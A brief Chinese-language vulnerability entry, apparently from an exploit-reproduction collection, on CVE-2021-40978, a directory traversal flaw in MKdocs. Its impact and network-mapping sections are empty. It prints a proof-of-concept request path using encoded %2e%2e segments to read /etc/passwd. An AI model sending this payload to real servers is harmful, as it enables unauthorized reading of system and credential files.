# MKdocs 任意文件读取漏洞 CVE-2021-40978

# 漏洞描述

MKdocs中存在通过 %2e%2e 来遍历目录,读取敏感文件

# 漏洞影响


# 网络测绘


# 漏洞复现

主页面

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验证POC

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
1

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